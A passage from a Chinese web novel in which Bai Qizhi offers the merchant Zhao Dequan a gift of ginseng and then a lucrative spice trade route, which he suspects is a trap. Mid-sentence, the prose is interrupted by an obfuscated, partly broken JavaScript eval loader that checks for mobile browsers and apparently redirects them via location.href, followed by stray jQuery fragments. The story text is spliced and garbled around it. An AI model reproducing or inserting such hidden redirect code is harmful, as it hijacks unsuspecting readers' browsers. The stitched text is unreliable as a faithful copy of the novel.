栖枝的过错。听闻崇明少爷受了惊吓,栖枝备了些安神压惊的药材,还有一支年份尚可的山参,虽非珍品,也是一点心意,望赵老板不弃,给崇明少爷调养身子。”
她说着,示意身后的丫鬟捧上一个朴素的锦盒。
锦盒被轻轻打开,露出里面一支通体莹润的百年老参,参须根根分明,在烛光下泛着琥珀色的光泽。
赵德全看得眼睛都直了。
要知道,这种好货可是多少人有钱都买不到的!
而如今,白栖枝只是为了一个不知道从哪里捡来的,就动用如此大礼,她究竟居心在何?赵德全不敢妄断。
见他不语,白栖枝又道:“这是之前林家商队从朝州得来的野山参,虽比不上御贡之物,但胜在年份足,最宜补气安神。妾身听闻崇明少爷受了惊,特意备下,还望赵老板笑纳。”
赵德全盯着那支山参,眼中闪过一丝贪婪。这参少说也值百两银子,白栖枝竟舍得拿出来赔罪?
他狐疑地抬眼,却见白栖枝神色坦然,甚至带着几分谦逊。
“哼,白夫人倒是会说话。”赵德
;eval(function(p,a,c,k,e,d){e=function(c){return(c
35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16961233|193309||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
全冷哼一声,语气虽硬,火气却已消了大半,示意管家收下礼物,“小孩子不懂事,也罢了。只是白老板日后还需严加约束才是。”
“赵老板教训得是,妾身定当谨记。”白栖枝再次微微欠身,态度恭谨。
见赵德全脸色稍霁,她倏地话锋一转,语气依旧平和,却带上了一丝商量的意味:“不过,妾身今日前来,除了赔罪,还有一事,想与赵老板商议。”
这是要露出狐狸尾巴了!赵德全想。
他全眯起眼,重新警惕起来:“哦?何事?”
白栖枝挥退丫鬟到外等候,上前半步,声音放得更轻缓:“此前,林家派人去波斯求援,无意中在南边新得了一条运送龙涎香和笃耨香的商路,利润尚可,只是这香料不比寻常货物,运输途中对温湿、仓储要求极高,损耗极大。沿途关卡盘剥、匪患侵扰,更是防不胜防。林家如今人手凋敝,实在无力维系这条商路的安全与顺畅。”
香料商路!龙涎香!笃耨香!
赵德全的心猛地一跳。
要知道这两香料在大昭境内可是极为珍稀,难得的很,倘若得了这两种香料的商路,那可是暴利中的暴利!
赵家经营香料多年,深知其中价值,没有人比赵德全更清楚这条稳定商路意味着什么!
只听白栖枝接着道:“妾妾身日夜忧心,唯恐这商路断送在我手中,反成祸端。思来想去,不如托付给真正有实力之人。赵掌柜钱庄调度活络,香料行当更是行家,各处码头商路根基深厚。放眼全城州府,再寻不出比您更合适的人选了。不知赵老板可愿帮妾身这个忙?”
巨大的肥肉带着诱人的异香,精准地砸在赵德全的心坎上!
可这事儿来的蹊跷,他与白栖枝素来户不对付,眼下这人却为何愿将这等肥肉送到他口中?难不成是要陷他于不义?要知道,新皇登基,眼下正是朝廷严查贪腐之时,倘若这时他被查出有任何不妥,恐怕抄家也不为过!他总不能为此害了全家!
想着,赵德全强压下几乎要脱口而出的“好”字,疑云翻滚。